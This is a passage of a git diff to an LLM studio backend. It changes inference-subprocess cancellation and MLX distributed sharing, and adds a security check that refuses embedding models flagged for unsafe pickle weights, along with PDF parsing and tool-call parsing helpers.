 def _clean_token(value: str | None) -> str | None:
     """Normalize an HF token: blank or whitespace-only becomes None."""
     return value if value and value.strip() else None
@@ -276,6 +291,18 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
         hf_token = _clean_token(config.get("hf_token"))
         load_in_4bit = _resolve_lora_4bit(mc, config.get("load_in_4bit", True))
 
+        # Latest-transformers sidecar models load 16-bit: bnb 4-bit feeds quantized
+        # expert weights into unvalidated paths (e.g. grouped-MoE torch._grouped_mm).
+        if load_in_4bit:
+            from utils.transformers_version import latest_tier_active_for
+            if latest_tier_active_for(config["model_name"], hf_token):
+                load_in_4bit = False
+                logger.info(
+                    "Latest-transformers sidecar active for %s - forcing a 16-bit "
+                    "load (4-bit is disabled for brand-new architectures)",
+                    config["model_name"],
+                )
+
         trust_remote_code = config.get("trust_remote_code", False)
         if not trust_remote_code and _needs_nemotron_trust(config["model_name"], hf_token = hf_token):
             trust_remote_code = True
@@ -329,14 +356,18 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
             xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
         try:
-            success = backend.load_model(
-                config = mc,
-                max_seq_length = config.get("max_seq_length", 2048),
-                load_in_4bit = load_in_4bit,
-                hf_token = hf_token,
-                trust_remote_code = trust_remote_code,
-                gpu_ids = config.get("resolved_gpu_ids"),
-            )
+            load_kwargs = {
+                "config": mc,
+                "max_seq_length": config.get("max_seq_length", 2048),
+                "load_in_4bit": load_in_4bit,
+                "hf_token": hf_token,
+                "trust_remote_code": trust_remote_code,
+                "gpu_ids": config.get("resolved_gpu_ids"),
+            }
+            if getattr(backend, "device", None) == "mlx":
+                load_kwargs["parallel_mode"] = config.get("mlx_parallel_mode")
+                load_kwargs["distributed_group"] = config.get("_mlx_distributed_group")
+            success = backend.load_model(**load_kwargs)
         finally:
             heartbeat_stop.set()
 
@@ -406,6 +437,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
         )
 
 
+def _drain_skip_generate(cmd: dict, resp_queue: Any, drain_event) -> bool:
+    """Skip a generate queued behind a cancelled one during an unload.
+
+    The parent sets ``drain_event`` for the whole unload. Because the parent's
+    per-token ``cancel_event`` is cleared at the start of every generate, a cancel
+    set while this generate was still queued would otherwise be lost when it is
+    dequeued. If the drain is in effect, emit an immediate (empty) ``gen_done`` so
+    the parent's stream/mailbox drains fast and the switch stays fast, and report
+    the generate was skipped so the caller does not clear the cancel or run it.
+    """
+    if drain_event is None or not drain_event.is_set():
+        return False
+    request_id = cmd.get("request_id", "")
+    logger.info("Skipping generate for request %s: unload draining", request_id)
+    _send_response(
+        resp_queue,
+        {
+            "type": "gen_done",
+            "request_id": request_id,
+            "cancelled": True,
+            "stats": None,
+        },
+    )
+    return True
+
+
 def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
     """Handle a generate command: stream tokens back via resp_queue.
 
@@ -431,6 +488,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
             "min_p": cmd.get("min_p", 0.0),
             "max_new_tokens": cmd.get("max_new_tokens", 256),
             "repetition_penalty": cmd.get("repetition_penalty", 1.0),
+            "presence_penalty": cmd.get("presence_penalty", 0.0),
             "cancel_event": cancel_event,
         }
 
@@ -455,20 +513,25 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
 
         logger.info("Starting text generation for request_id=%s", request_id)
 
-        for cumulative_text in generator:
-            # cancel_event is an mp.Event — checked instantly, no queue polling.
-            if cancel_event.is_set():
-                logger.info("Generation cancelled for request %s", request_id)
-                break
+        try:
+            for cumulative_text in generator:
+                # cancel_event is an mp.Event — checked instantly, no queue polling.
+                if cancel_event.is_set():
+                    logger.info("Generation cancelled for request %s", request_id)
+                    break
 
-            _send_response(
-                resp_queue,
-                {
-                    "type": "token",
-                    "request_id": request_id,
-                    "text": cumulative_text,
-                },
-            )
+                _send_response(
+                    resp_queue,
+                    {
+                        "type": "token",
+                        "request_id": request_id,
+                        "text": cumulative_text,
+                    },
+                )
+        finally:
+            close = getattr(generator, "close", None)
+            if callable(close):
+                close()
 
         _send_response(
             resp_queue,
@@ -494,6 +557,67 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
         )
 
 
+def _handle_share_object(backend, cmd: dict, resp_queue: Any) -> None:
+    """Share a small Python object across MLX distributed ranks."""
+    request_id = cmd.get("request_id", "")
+    group = getattr(backend, "_distributed_group", None)
+    rank = int(getattr(backend, "_distributed_rank", 0) or 0)
+    world_size = int(getattr(backend, "_distributed_world_size", 1) or 1)
+    obj = cmd.get("object")
+
+    try:
+        if group is None or world_size <= 1:
+            shared = obj
+        else:
+            import mlx.core as mx
+            if rank == 0:
+                if obj is None:
+                    mx.eval(mx.distributed.all_sum(mx.array(0), group = group))
+                    shared = None
+                else:
+                    try:
+                        data = mx.array(_encode_share_object(obj), dtype = mx.uint8)
+                    except Exception:
+                        mx.eval(
+                            mx.distributed.all_sum(
+                                mx.array(_SHARE_OBJECT_ERROR_SIZE),
+                                group = group,
+                            )
+                        )
+                        raise
+                    mx.eval(mx.distributed.all_sum(mx.array(data.size), group = group))
+                    mx.eval(mx.distributed.all_sum(data, group = group))
+                    shared = obj
+            else:
+                size = int(mx.distributed.all_sum(mx.array(0), group = group).item())
+                if size == _SHARE_OBJECT_ERROR_SIZE:
+                    raise RuntimeError("Failed to share distributed object")
+                if size == 0:
+                    shared = None
+                else:
+                    data = mx.zeros(size, dtype = mx.uint8)
+                    data = mx.distributed.all_sum(data, group = group)
+                    shared = _decode_share_object(data)
+        _send_response(
+            resp_queue,
+            {
+                "type": "shared",
+                "request_id": request_id,
+                "object": shared,
+            },
+        )
+    except Exception as exc:
+        _send_response(
+            resp_queue,
+            {
+                "type": "share_error",
+                "request_id": request_id,
+                "error": str(exc),
+                "stack": traceback.format_exc(limit = 20),
+            },
+        )
+
+
 def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None:
     """Handle TTS audio generation — returns WAV bytes + sample_rate."""
     request_id = cmd.get("request_id", "")
@@ -632,7 +756,14 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
         )
 
 
-def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, config: dict) -> None:
+def run_inference_process(
+    *,
+    cmd_queue: Any,
+    resp_queue: Any,
+    cancel_event,
+    config: dict,
+    drain_event = None,
+) -> None:
     """Subprocess entrypoint. Persistent — runs the command loop until shutdown.
 
     Args:
@@ -640,6 +771,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         resp_queue: mp.Queue for sending responses to parent.
         cancel_event: mp.Event the parent sets to cancel generation.
         config: Initial configuration dict with model info.
+        drain_event: mp.Event the parent sets for the duration of an unload. Unlike
+            cancel_event (cleared at the start of every generate), it is never cleared
+            here, so a generate still queued behind a cancelled one is skipped rather
+            than run — the cancel survives the queue handoff.
     """
     os.environ["TOKENIZERS_PARALLELISM"] = "false"
     os.environ["PYTHONWARNINGS"] = "ignore"  # Suppress warnings at C-level before imports
@@ -682,9 +817,29 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 exc,
             )
         try:
-            from core.inference.mlx_inference import MLXInferenceBackend
+            from core.inference.mlx_inference import MLXInferenceBackend, _init_mlx_distributed
 
             backend = MLXInferenceBackend()
+            if config.get("mlx_distributed"):
+                group, rank, size = _init_mlx_distributed()
+                config["_mlx_distributed_group"] = group
+                if size <= 1:
+                    # A singleton group (MLX built without distributed support,
+                    # or an invalid launch env/hostfile) would leave nonzero ranks
+                    # looping forever on share_distributed_object. Fail the load
+                    # instead of silently continuing without sharding.
+                    raise RuntimeError(
+                        "MLX distributed launch requested but initialized a singleton "
+                        "group (size 1). Ensure the installed MLX has distributed "
+                        "support and the launch environment/hostfile is valid, or run "
+                        "without distributed."
+                    )
+                logger.info(
+                    "MLX distributed initialized in worker: rank=%s size=%s mode=%s",
+                    rank,
+                    size,
+                    config.get("mlx_parallel_mode"),
+                )
             _send_response(
                 resp_queue,
                 {"type": "status", "message": "Loading model..."},
@@ -715,8 +870,19 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             cmd_type = cmd.get("type", "")
             try:
                 if cmd_type == "generate":
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     cancel_event.clear()
+                    # Re-check the drain after clearing: the parent sets drain_event
+                    # then cancel_event for an unload, so if that pair landed between
+                    # the check above and this clear, the clear just erased the unload's
+                    # cancel. Skip here so the outgoing model is not run to completion,
+                    # which would stall the switch until the dispatcher idle-timeout.
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     _handle_generate(backend, cmd, resp_queue, cancel_event)
+                elif cmd_type == "share_object":
+                    _handle_share_object(backend, cmd, resp_queue)
                 elif cmd_type == "load":
                     if backend.active_model_name:
                         backend.unload_model(backend.active_model_name)
@@ -757,7 +923,31 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 )
         return
 
-    # ── Resolve the effective base once, before activation/gates/install (no ML import) ──
+    # ── Windows: check Triton availability ──
+    # Placed ahead of the torchao stub below (which imports torch on win32 to detect ROCm),
+    # matching the training and export workers' gate-then-stub ordering.
+    if sys.platform == "win32":
+        try:
+            import triton  # noqa: F401
+            logger.info("Triton available — torch.compile enabled")
+        except ImportError:
+            os.environ["TORCHDYNAMO_DISABLE"] = "1"
+            logger.warning(
+                "Triton not found on Windows — torch.compile disabled. "
+                'Install for better performance: pip install "triton-windows<3.7"'
+            )
+
+    # ── Stub torchao on Windows ROCm before ANY transformers import ──
+    # Must precede every path that pulls transformers, not just the ML imports in section 2:
+    # a local LoRA adapter with no recorded base reaches transformers here via
+    # _resolve_base_model -> utils.models. See core/_torchao_stub.py; no-op off Windows ROCm.
+    from core._torchao_stub import install_torchao_windows_rocm_stub
+
+    install_torchao_windows_rocm_stub()
+
+    # ── Resolve the effective base once, before activation/gates/install ──
+    # No ML import on the common path; a local adapter with no recorded base pulls
+    # transformers via utils.models, which is why the stub above precedes this.
     # A remote LoRA's base is in its Hub adapter_config.json (else surfaced only by ModelConfig
     # after import). _lora_base is set only for a genuine adapter, never a full fine-tune's base.
     import json as _json
@@ -795,19 +985,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         )
         return
 
-    # ── 1b. Windows: check Triton availability (must precede import torch) ──
-    if sys.platform == "win32":
-        try:
-            import triton  # noqa: F401
-            logger.info("Triton available — torch.compile enabled")
-        except ImportError:
-            os.environ["TORCHDYNAMO_DISABLE"] = "1"
-            logger.warning(
-                "Triton not found on Windows — torch.compile disabled. "
-                'Install for better performance: pip install "triton-windows<3.7"'
-            )
-
-    # ── 1c. Security gates, then SSM/Mamba kernels, BEFORE importing transformers ──
+    # ── 1b. Security gates, then SSM/Mamba kernels, BEFORE importing transformers ──
     # transformers snapshots its optional-backend gates at import, so a hybrid model's kernels
     # must be installed before the import below ("mamba-ssm is required" otherwise). The gates
     # are metadata-only, so run them first and refuse a blocked model before any native build.
@@ -918,9 +1096,21 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
         try:
             if cmd_type == "generate":
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 cancel_event.clear()
+                # Re-check the drain after clearing: the parent sets drain_event then
+                # cancel_event for an unload, so if that pair landed between the check
+                # above and this clear, the clear just erased the unload's cancel. Skip
+                # here so the outgoing model is not run to completion, which would stall
+                # the switch until the dispatcher idle-timeout tears the subprocess down.
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 _handle_generate(backend, cmd, resp_queue, cancel_event)
 
+            elif cmd_type == "share_object":
+                _handle_share_object(backend, cmd, resp_queue)
+
             elif cmd_type == "load":
                 if backend.active_model_name:
                     backend.unload_model(backend.active_model_name)
diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py
index 6d1512a770..8398506f21 100644
--- a/studio/backend/core/rag/captioner.py
+++ b/studio/backend/core/rag/captioner.py
@@ -6,7 +6,7 @@
 Both turn pixels into indexable text and are a no-op (never raise) without a loaded
 vision model. They reuse the chat model's vision endpoint, so it must be served with
 ``--ubatch-size`` >= one image's tokens (some encoders, e.g. Gemma, attend
-non-causally and abort otherwise); Studio's vision chat already requires this."""
+non-causally and abort otherwise); Unsloth's vision chat already requires this."""
 
 from __future__ import annotations
 
diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py
index 2de32a68e4..f54d795731 100644
--- a/studio/backend/core/rag/config.py
+++ b/studio/backend/core/rag/config.py
@@ -87,6 +87,22 @@ def _names_gguf(model: str) -> bool:
     return "gguf" in re.split(r"[^a-z0-9]+", model.lower())
 
 
+def gguf_repo_for_embedding_model(model: str) -> str:
+    """GGUF repo for ``model``, honoring an explicit companion override."""
+    if "RAG_EMBED_GGUF_REPO" in os.environ:
+        return EMBED_GGUF_REPO
+    if model == DEFAULT_EMBEDDING_MODEL:
+        return EMBED_GGUF_REPO
+    if _names_gguf(model):
+        return model
+    return f"{model}-GGUF"
+
+
+def default_gguf_repo() -> str:
+    """GGUF companion for the env/default embedding model."""
+    return gguf_repo_for_embedding_model(EMBEDDING_MODEL)
+
+
 def effective_gguf_repo() -> str:
     """GGUF repo for the llama-server backend, tracking the effective model.
 
@@ -95,14 +111,7 @@ def effective_gguf_repo() -> str:
     ``-GGUF`` companion repo (the unsloth convention the default pair follows),
     or is used as-is when it already names a GGUF repo.
     """
-    if "RAG_EMBED_GGUF_REPO" in os.environ:
-        return EMBED_GGUF_REPO
-    model = effective_embedding_model()
-    if model == DEFAULT_EMBEDDING_MODEL:
-        return EMBED_GGUF_REPO
-    if _names_gguf(model):
-        return model
-    return f"{model}-GGUF"
+    return gguf_repo_for_embedding_model(effective_embedding_model())
 
 
 # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this
diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py
index 46a282c939..facd989b27 100644
--- a/studio/backend/core/rag/embed_llama_server.py
+++ b/studio/backend/core/rag/embed_llama_server.py
@@ -10,7 +10,7 @@ Opt-in (``RAG_EMBED_BACKEND=llama-server``). Runs a dedicated
 Device is ``auto`` (GPU when present, else CPU, falling back to CPU if a GPU start
 fails); ``RAG_EMBED_DEVICE`` forces it. We call only llama_cpp's *static* helpers
 (no torch), copying the instance-coupled bits locally, since constructing a
-``LlamaCppBackend`` runs an ``__init__`` reaper that kills any Studio llama-server
+``LlamaCppBackend`` runs an ``__init__`` reaper that kills any Unsloth llama-server
 -- so each request re-spawns ours if it died (self-heal).
 """
 
@@ -188,7 +188,14 @@ class LlamaServerBackend:
         match = [f for f in files if variant in f.lower()] or files
         filename = sorted(match, key = len)[0]
         logger.info("resolving GGUF embedder %s/%s", repo, filename)
-        self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token)
+        from utils.hf_cache_settings import active_hf_hub_cache
+
+        self._model_path = hf_hub_download(
+            repo_id = repo,
+            filename = filename,
+            token = token,
+            cache_dir = active_hf_hub_cache(),
+        )
         self._model_repo = desired
         self._dim = None
         return self._model_path
diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 345b4dd853..3354585d2a 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -21,6 +21,8 @@ from functools import lru_cache
 from typing import Callable
 
 from utils.hardware.hardware import DeviceType, get_device
+from utils.transformers_dtype import dtype_kwargs
+from utils.utils import hf_env_offline
 
 from . import config
 
@@ -38,7 +40,7 @@ _model = None
 _name: str | None = None
 
 
-# Studio device -> torch device string. Apple has no torch device -> CPU.
+# Unsloth device -> torch device string. Apple has no torch device -> CPU.
 _TORCH_DEVICE = {DeviceType.CUDA: "cuda", DeviceType.XPU: "xpu"}
 
 
@@ -63,21 +65,152 @@ def _install_torchao_stub_once() -> None:
     install_torchao_windows_rocm_stub()
 
 
+class UnsafeEmbeddingModelError(RuntimeError):
+    """Raised when the embedding model repo is flagged unsafe. A distinct type so the
+    llama-server fallback paths re-raise it instead of masking a security block as a
+    routine ST failure."""
+
+
+def _ambient_hf_token() -> str | None:
+    """The HF token the loader itself would use (HF_TOKEN env or the cached login), so
+    the scan can reach a gated/private repo instead of failing open. None if unavailable."""
+    try:
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _st_module_subdirs(name: str, token: str | None) -> tuple[str, ...]:
+    """The module directories a SentenceTransformer load reads weights from, taken from
+    the repo's ``modules.json`` (each module's non-empty ``path``, e.g. ``0_Transformer``).
+    ST deserializes ``pytorch_model.bin`` from these dirs, so they are load roots for the
+    security scan: a flagged pickle directly under one must block. Returns () on any
+    failure (no modules.json, offline, malformed) so the guard never bricks the embedder.
+    """
+    try:
+        import json
+
+        from utils.paths import is_local_path
+
+        if is_local_path(name):
+            from pathlib import Path
+            from utils.paths import normalize_path
+
+            path = Path(normalize_path(name)).expanduser() / "modules.json"
+            if not path.is_file():
+                return ()
+            data = json.loads(path.read_text())
+        else:
+            from huggingface_hub import hf_hub_download
+            from huggingface_hub.utils import EntryNotFoundError
+            from utils.hf_cache_settings import active_hf_hub_cache
+
+            try:
+                local = hf_hub_download(
+                    name,
+                    "modules.json",
+                    token = token or None,
+                    cache_dir = active_hf_hub_cache(),
+                )
+            except EntryNotFoundError:
+                return ()
+            data = json.loads(open(local).read())
+        subdirs = []
+        for module in data or ():
+            sub = str((module or {}).get("path", "")).strip().strip("/")
+            if sub:
+                subdirs.append(sub)
+        return tuple(dict.fromkeys(subdirs))
+    except Exception:
+        return ()
+
+
+def _guard_model_security(name: str, local_only: bool = False) -> None:
+    """Refuse to load a repo HF flagged as unsafe: a poisoned pickle deserializes inside
+    SentenceTransformer regardless of trust_remote_code. Defense in depth behind the
+    /settings gate (a name can also arrive via env/default); local paths and unreachable
+    scans fail open inside evaluate_file_security. Never bricks the embedder on a gate error.
+
+    ``local_only`` (offline) inspects the local cache; subdir probes are skipped (they'd hit the
+    network and hang, and the offline gate walks the whole snapshot anyway).
+    """
+    try:
+        from utils.security import evaluate_file_security, security_load_subdirs
+
+        token = _ambient_hf_token()
+        if local_only:
+            load_subdirs = ()
+        else:
+            # Union audio-model load roots with ST module dirs so a flagged pickle under a
+            # Transformer module dir blocks instead of passing as an unreferenced nested shard.
+            load_subdirs = tuple(
+                dict.fromkeys(
+                    (*security_load_subdirs(name, token), *_st_module_subdirs(name, token))
+                )
+            )
+        blocked = evaluate_file_security(
+            name, hf_token = token, load_subdirs = load_subdirs, local_only_load = local_only
+        ).blocked
+    except Exception:
+        return
+    if blocked:
+        reason = (
+            "has cached pickle weights that cannot be security-scanned offline and no "
+            "safetensors alternative"
+            if local_only
+            else "is flagged as unsafe by Hugging Face's security scan"
+        )
+        raise UnsafeEmbeddingModelError(
+            f"Embedding model {name!r} {reason}; refusing to load. "
+            "Set a different RAG embedding model."
+        )
+
+
+def _st_accepts_local_files_only(st_cls) -> bool:
+    """Whether this SentenceTransformer version accepts local_files_only; passing it to an
+    older constructor raises, so gate on the signature."""
+    try:
+        import inspect
+        return "local_files_only" in inspect.signature(st_cls.__init__).parameters
+    except Exception:
+        return False
+
+
 def _get(model_name: str | None = None):
     """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
     for a ~1.5x speedup at negligible accuracy loss."""
     global _model, _name
     name = model_name or config.effective_embedding_model()
+    # Capture offline state once so the gate and the load agree (no window where the gate is
+    # skipped as offline but the constructor then reaches the network).
+    local_only = hf_env_offline()
     with _lock:
         if _model is None or _name != name:
             _install_torchao_stub_once()
             from sentence_transformers import SentenceTransformer
+            from utils.hf_cache_settings import active_hf_hub_cache
 
             device = _device()
             logger.info("loading embedding model %s on %s", name, device)
-            _model = SentenceTransformer(
-                name, device = device, model_kwargs = {"torch_dtype": "float16"}
+            _guard_model_security(name, local_only)
+            st_kwargs = dict(
+                device = device,
+                cache_folder = active_hf_hub_cache(),
+                model_kwargs = dtype_kwargs("float16"),
             )
+            load_target = name
+            if local_only:
+                from utils.utils import hf_cache_snapshot_dir
+                snapshot = hf_cache_snapshot_dir(name)
+                if snapshot is not None:
+                    # Load from the local snapshot dir: a local path never touches the Hub, so
+                    # this is offline-safe on ANY sentence-transformers version (even ones
+                    # predating local_files_only).
+                    load_target = str(snapshot)
+                elif _st_accepts_local_files_only(SentenceTransformer):
+                    st_kwargs["local_files_only"] = True
+            _model = SentenceTransformer(load_target, **st_kwargs)
             _name = name
         return _model
 
@@ -159,6 +292,8 @@ class _SentenceTransformersBackend:
     ):
         try:
             return _st_encode(texts, model_name = model_name, normalize = normalize)
+        except UnsafeEmbeddingModelError:
+            raise  # a security block must hard-fail, not fall back to llama-server
         except Exception as st_err:  # noqa: BLE001 - runtime ST/CUDA encode failure
             # ST loaded but this encode blew up; swap the process to the llama-server
             # embedder (so later encodes stay in one space) and retry.
@@ -222,6 +357,8 @@ def _build_st_backend_or_fallback():
     try:
         backend.warm(model_name = None)
         return backend
+    except UnsafeEmbeddingModelError:
+        raise  # a security block must hard-fail, not fall back to llama-server
     except Exception as st_err:  # noqa: BLE001 - any ST/torch import or load failure
         fallback = _try_make_llama_backend()
         if fallback is None:
@@ -290,6 +427,37 @@ def _reset_backend() -> None:
         _backend_key = None
 
 
+def active_backend_is_llama() -> bool:
+    """True when this process actually embeds via the llama-server (GGUF) backend.
+
+    Reflects the ACTUAL built backend once one exists: an ``auto`` install that
+    resolves to sentence-transformers but then falls back to llama-server at
+    runtime (``_build_st_backend_or_fallback`` on a torch/CUDA load failure, or
+    ``_switch_to_llama_fallback`` on an encode failure) loads only inert GGUF, so
+    callers gating on the ST pickle must see llama here. Before any backend is
+    built, defers to the resolver (``auto`` -> ``_resolve_auto()``, else the raw
+    key) exactly as a fresh process would. Never raises: a backend probe must not
+    block saving a model."""
+    try:
+        with _backend_lock:
+            backend = _backend
+        if backend is not None:
+            # A backend exists: report what it ACTUALLY is. A concrete
+            # sentence-transformers backend must return False even if the
+            # resolver would now pick llama, so its pickle stays gated. If the
+            # llama import fails we cannot be llama, so fall to the safe False.
+            try:
+                from .embed_llama_server import LlamaServerBackend
+            except Exception:  # noqa: BLE001 - llama plumbing import must never block
+                return False
+            return isinstance(backend, LlamaServerBackend)
+        raw = (config.EMBED_BACKEND or "auto").strip().lower()
+        key = _resolve_auto() if raw in _AUTO_ALIASES else raw
+        return key in _LLAMA_ALIASES
+    except Exception:  # noqa: BLE001 - a backend probe must never block saving
+        return False
+
+
 def warm(model_name: str | None = None) -> None:
     """Eagerly load the embedder so the first real request isn't slow."""
     _get_backend().warm(model_name = model_name)
diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py
index 9afddf1d9e..0b42906b85 100644
--- a/studio/backend/core/rag/parsers.py
+++ b/studio/backend/core/rag/parsers.py
@@ -103,7 +103,7 @@ def _markdown_incomplete(markdown: str, plain: str) -> bool:
     return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
 
 
-def _pdf_markdown(doc) -> list[str] | None:
+def _pdf_markdown(doc, pages: range | None = None) -> list[str] | None:
     """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
     i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
     page count does not line up, so the caller falls back to plain PyMuPDF text."""
@@ -112,28 +112,44 @@ def _pdf_markdown(doc) -> list[str] | None:
     except Exception:
         return None
     try:
-        chunks = pymupdf4llm.to_markdown(
-            doc,
-            page_chunks = True,
-            show_progress = False,
-        )
+        kwargs = {"page_chunks": True, "show_progress": False}
+        if pages is not None:
+            kwargs["pages"] = list(pages)
+        chunks = pymupdf4llm.to_markdown(doc, **kwargs)
     except Exception:  # noqa: BLE001 - never let Markdown extraction break ingestion
         logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True)
         return None
-    if not isinstance(chunks, list) or len(chunks) != doc.page_count:
+    expected_pages = doc.page_count if pages is None else len(pages)
+    if not isinstance(chunks, list) or len(chunks) != expected_pages:
         return None
     return [str(c.get("text") or "") for c in chunks]
 
 
-def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
+def _pdf(
+    source: str | bytes,
+    want_images: bool,
+    max_pages: int | None = None,
+) -> tuple[list[Page], list[ParsedImage], int]:
     import fitz  # PyMuPDF
 
     pages: list[Page] = []
     images: list[ParsedImage] = []
-    doc = fitz.open(path)
+    doc = (
+        fitz.open(stream = source, filetype = "pdf") if isinstance(source, bytes) else fitz.open(source)
+    )
     try:
-        md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
-        for i, page in enumerate(doc):
+        if doc.needs_pass:
+            raise ValueError("encrypted PDF requires a password")
+        total_pages = doc.page_count
+        page_numbers = range(total_pages if max_pages is None else min(total_pages, max_pages))
+        if not config.PDF_MARKDOWN:
+            md = None
+        elif max_pages is None:
+            md = _pdf_markdown(doc)
+        else:
+            md = _pdf_markdown(doc, page_numbers)
+        for i, page_number in enumerate(page_numbers):
+            page = doc[page_number]
             plain = page.get_text("text") or ""
             candidate = md[i] if md else ""
             # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
@@ -147,7 +163,7 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
                 text = candidate
             else:
                 text = plain
-            pages.append(_page(text, i + 1))
+            pages.append(_page(text, page_number + 1))
             if want_images:
                 for img in page.get_images(full = True):
                     xref = img[0]
@@ -161,13 +177,22 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
                         images.append(
                             ParsedImage(
                                 image_bytes = image_bytes,
-                                page_number = i + 1,
+                                page_number = page_number + 1,
                                 xref = xref,
                             )
                         )
     finally:
         doc.close()
-    return pages, images
+    return pages, images, total_pages
+
+
+def parse_pdf_bytes(data: bytes, *, max_pages: int | None = None) -> tuple[list[Page], int]:
+    """Extract PDF pages from an in-memory download using the ingestion parser.
+
+    Returns the (capped) pages plus the document's full page count, so a caller
+    that set ``max_pages`` can tell a fully-read short PDF from a truncated one."""
+    pages, _images, total_pages = _pdf(data, want_images = False, max_pages = max_pages)
+    return pages, total_pages
 
 
 def _merge_rects(boxes: list) -> list:
@@ -416,7 +441,7 @@ def parse(path: str, *, want_images: bool = False):
     ext = os.path.splitext(path)[1].lower()
 
     if ext == ".pdf":
-        pages, images = _pdf(path, want_images)
+        pages, images, _total = _pdf(path, want_images)
         return (pages, images) if want_images else pages
 
     if ext == ".docx":
diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py
index f9128d1715..1165b6bb0e 100644
--- a/studio/backend/core/rag/store.py
+++ b/studio/backend/core/rag/store.py
@@ -158,6 +158,16 @@ def list_documents(conn: sqlite3.Connection, scope: str) -> list[dict]:
     return [dict(r) for r in rows]
 
 
+def list_all_documents(conn: sqlite3.Connection) -> list[dict]:
+    """Every uploaded document across all scopes (KBs, threads, projects)."""
+    rows = conn.execute(
+        "SELECT id, scope, kb_id, thread_id, project_id, filename, sha256, status, error, "
+        "num_chunks, stored_path, created_at "
+        "FROM documents ORDER BY created_at DESC"
+    ).fetchall()
+    return [dict(r) for r in rows]
+
+
 def get_document(conn: sqlite3.Connection, document_id: str) -> dict | None:
     row = conn.execute("SELECT * FROM documents WHERE id=?", (document_id,)).fetchone()
     return dict(row) if row else None
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index e8367ad08c..94d0e40ea7 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -1,38 +1,139 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+#
+# Bracket-tag, rehearsal, and thinking-block-strip logic adapted from forge
+# (https://github.com/antoinezambelli/forge), Copyright (c) 2025-2026
+# Antoine Zambelli, used under the MIT License.
 
-"""Lightweight tool-call XML parsing and stripping helpers.
+"""Lightweight tool-call parsing and stripping helpers.
 
 External inference servers import this module without pulling in the inference
-orchestrator, structlog, httpx, or the rest of the studio backend.
+orchestrator, structlog, httpx, or the rest of the studio backend. Kept in
+lockstep with ``core/inference/tool_call_parser.py`` so those servers
+(llama-server wrappers, llama-swap, custom shims) reuse the same logic. Any
+change here must also land there.
+
+Handles these serializations (see ``parse_tool_calls_from_text``):
+
+* ``<tool_call>{json}</tool_call>``
+* ``<|tool_call>call:name{...}<tool_call|>`` (Gemma)
+* ``<function=name><parameter=k>v</parameter></function>``
+* ``[TOOL_CALLS]name{json}`` (Mistral / Devstral fallback)
+* ``name[ARGS]{json}`` (reasoning-model rehearsal)
 """
 
+# PEP 604 annotations must stay import-safe on Python 3.9 (requires-python >=3.9).
+from __future__ import annotations
+
+import bisect
 import json
 import re
 
-# Pre-compiled patterns for tool XML stripping. The hyphen in the name
-# char-class lets dashed MCP tool/parameter names (mcp__srv__list-issues,
-# issue-number) parse alongside the built-ins.
+# One nesting level in the strip regexes; deeper may leak markup (still parsed).
+_BRACKETED_JSON_ONE_LEVEL = r"\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}"
+
+# Rehearsal ``name[ARGS]{..}`` strips; group 1 = name for tool-list gating. Closed =
+# complete body, tail = truncated; ``(?<!\[CALL_ID\])`` keeps the v11 call-id from reading as a name.
+_REHEARSAL_CLOSED_STRIP_RE = re.compile(
+    r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*" + _BRACKETED_JSON_ONE_LEVEL, re.DOTALL
+)
